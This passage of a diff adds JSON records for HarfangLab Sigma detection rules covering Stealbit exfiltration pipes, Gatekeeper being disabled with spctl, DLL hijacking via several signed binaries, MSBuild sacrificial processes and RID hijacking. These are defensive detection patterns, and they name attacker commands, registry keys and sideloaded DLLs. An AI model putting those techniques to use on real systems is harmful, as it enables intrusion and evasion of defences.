selection\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8b15b564-b241-40f8-9265-2a8cd6e645ef",
+  "rule_name": "Stealbit Named Pipe Created",
+  "rule_description": "Detects the creation of a named pipe pertaining to Stealbit.\nStealbit is a complex exfiltration tool used by the LockBit ransomware group.\nIt uses named pipes to coordinate its exfiltration and data-mining threads.\nIt is recommended to quickly look for other signs of cybercrime activity on the instance and to isolate infected machines.\n",
+  "rule_creation_date": "2022-07-08",
+  "rule_modified_date": "2025-01-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1041",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8b2bdeee-449e-44d1-a27b-e97ae34dfc75",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617220Z",
+  "creation_date": "2026-03-23T11:45:34.617222Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617226Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md",
+    "https://support.apple.com/fr-fr/guide/security/sec5599b66df/web",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_disable_gatekeeper.yml",
+  "content": "title: Gatekeeper Disabled\nid: 8b2bdeee-449e-44d1-a27b-e97ae34dfc75\ndescription: |\n    Detects the execution of spctl to disable Apple Gatekeeper.\n    Apple Gatekeeper is a mechanism that ensures that software comes from recognized developers, is notarized by Apple as malware-free, and remains unaltered.\n    Apple Gatekeeper also requests user approval before opening downloaded software for the first time.\n    It is recommended to investigate the process that disabled Apple Gatekeeper to determine if this action was legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md\n    - https://support.apple.com/fr-fr/guide/security/sec5599b66df/web\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2022/07/19\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.Behavior.ImpairDefenses\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|endswith: '/spctl'\n        CommandLine|contains:\n            - '--master-disable'\n            - '--global-disable'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8b2bdeee-449e-44d1-a27b-e97ae34dfc75",
+  "rule_name": "Gatekeeper Disabled",
+  "rule_description": "Detects the execution of spctl to disable Apple Gatekeeper.\nApple Gatekeeper is a mechanism that ensures that software comes from recognized developers, is notarized by Apple as malware-free, and remains unaltered.\nApple Gatekeeper also requests user approval before opening downloaded software for the first time.\nIt is recommended to investigate the process that disabled Apple Gatekeeper to determine if this action was legitimate.\n",
+  "rule_creation_date": "2022-07-19",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8b3c8941-bca5-4ccf-b8d6-2994c01654be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091299Z",
+  "creation_date": "2026-03-23T11:45:34.091301Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091306Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mfpmp.yml",
+  "content": "title: DLL Hijacking via mfpmp.exe\nid: 8b3c8941-bca5-4ccf-b8d6-2994c01654be\ndescription: |\n    Detects potential Windows DLL Hijacking via mfpmp.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mfpmp.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.DLL'\n            - '\\ksuser.dll'\n            - '\\MFCORE.dll'\n            - '\\MFPlat.DLL'\n            - '\\RTWorkQ.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8b3c8941-bca5-4ccf-b8d6-2994c01654be",
+  "rule_name": "DLL Hijacking via mfpmp.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mfpmp.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8b4b8b05-41f2-47f7-afa9-bb3b85ba5bbb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094376Z",
+  "creation_date": "2026-03-23T11:45:34.094378Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094383Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_pwmtower.yml",
+  "content": "title: DLL Hijacking via PwmTower.exe\nid: 8b4b8b05-41f2-47f7-afa9-bb3b85ba5bbb\ndescription: |\n    Detects potential Windows DLL Hijacking via PwmTower.exe related to Trend Micro Password Manager.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://unit42.paloaltonetworks.com/dll-hijacking-techniques/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/03/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessSignature: 'Trend Micro, Inc.'\n        ImageLoaded|endswith:\n            - '\\nw.dll'\n            - '\\nw_elf.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Trend Micro\\'\n            - '?:\\Program Files (x86)\\Trend Micro\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Trend Micro\\'\n            - '?:\\Program Files (x86)\\Trend Micro\\'\n            - '?:\\Windows\\System32\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Trend Micro, Inc.'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8b4b8b05-41f2-47f7-afa9-bb3b85ba5bbb",
+  "rule_name": "DLL Hijacking via PwmTower.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via PwmTower.exe related to Trend Micro Password Manager.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-03-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8b5755ff-0a81-449e-afca-7667f8295733",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080631Z",
+  "creation_date": "2026-03-23T11:45:34.080633Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080637Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_msbuild.yml",
+  "content": "title: MSBuild.exe Sacrificial Process Spawned\nid: 8b5755ff-0a81-449e-afca-7667f8295733\ndescription: |\n    Detects the suspicious execution of the legitimate MSBuild.exe Windows binary, spawned without arguments. This can mean that the binary is being used as sacrificial process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the MSBuild.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2025/07/16\nmodified: 2025/09/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SacrificialProcess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\MSBuild.exe'\n        CommandLine|endswith: '\\MSBuild.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8b5755ff-0a81-449e-afca-7667f8295733",
+  "rule_name": "MSBuild.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate MSBuild.exe Windows binary, spawned without arguments. This can mean that the binary is being used as sacrificial process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the MSBuild.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2025-07-16",
+  "rule_modified_date": "2025-09-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8b5eb879-9366-4765-b123-05a176322908",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588969Z",
+  "creation_date": "2026-03-23T11:45:34.588975Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588985Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_searchprotocolhost.yml",
+  "content": "title: DLL Hijacking via SearchProtocolHost.exe\nid: 8b5eb879-9366-4765-b123-05a176322908\ndescription: |\n    Detects potential Windows DLL Hijacking via SearchProtocolHost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'SearchProtocolHost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\msftedit.dll'\n            - '\\mstracer.dll'\n            - '\\tquery.dll'\n            - '\\msfte.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8b5eb879-9366-4765-b123-05a176322908",
+  "rule_name": "DLL Hijacking via SearchProtocolHost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via SearchProtocolHost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8b6296a9-d84f-4b67-bfee-392455db965e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601288Z",
+  "creation_date": "2026-03-23T11:45:34.601291Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601299Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_csvd.yml",
+  "content": "title: DLL Hijacking via csvd.exe\nid: 8b6296a9-d84f-4b67-bfee-392455db965e\ndescription: |\n    Detects potential Windows DLL Hijacking via csvd.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'csvde.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dsrole.dll'\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8b6296a9-d84f-4b67-bfee-392455db965e",
+  "rule_name": "DLL Hijacking via csvd.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via csvd.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8b67438d-82ee-44cc-8959-570f430d6788",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.596136Z",
+  "creation_date": "2026-03-23T11:45:34.596140Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596147Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://asec.ahnlab.com/en/85942/",
+    "https://github.com/wgpsec/CreateHiddenAccount",
+    "https://attack.mitre.org/techniques/T1574/"
+  ],
+  "name": "t1574_rid_hijacking.yml",
+  "content": "title: RID Hijacking Detected\nid: 8b67438d-82ee-44cc-8959-570f430d6788\ndescription: |\n    Detects a suspicious modification of registry keys storing Windows account parameters related to RID hijacking.\n    RID Hijacking is an attack technique that involves modifying the Relative Identifier (RID) value of an account with restricted privileges to match the RID value of an account with higher privileges.\n    It is recommended to check whether the process modifying the registry keys has legitimate reasons to do it.\nreferences:\n    - https://asec.ahnlab.com/en/85942/\n    - https://github.com/wgpsec/CreateHiddenAccount\n    - https://attack.mitre.org/techniques/T1574/\ndate: 2025/01/28\nmodified: 2025/05/09\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1574\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\SAM\\SAM\\Domains\\Account\\Users\\\\*\\F'\n\n    filter_lsass:\n        ProcessImage:\n            - '?:\\Windows\\System32\\lsass.exe'\n            - '\\Device\\VhdHardDisk{????????-????-????-????-????????????}\\Windows\\System32\\lsass.exe'\n\n    exclusion_jumpcloud:\n        ProcessImage: '?:\\Program Files\\JumpCloud\\jumpcloud-agent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'JumpCloud Inc'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8b67438d-82ee-44cc-8959-570f430d6788",
+  "rule_name": "RID Hijacking Detected",
+  "rule_description": "Detects a suspicious modification of registry keys storing Windows account parameters related to RID hijacking.\nRID Hijacking is an attack technique that involves modifying the Relative Identifier (RID) value of an account with restricted privileges to match the RID value of an account with higher privileges.\nIt is recommended to check whether the process modifying the registry keys has legitimate reasons to do it.\n",
+  "rule_creation_date": "2025-01-28",
+  "rule_modified_date": "2025-05-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8ba97e80-f511-46d8-bb0a-95b03912ee6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073404Z",
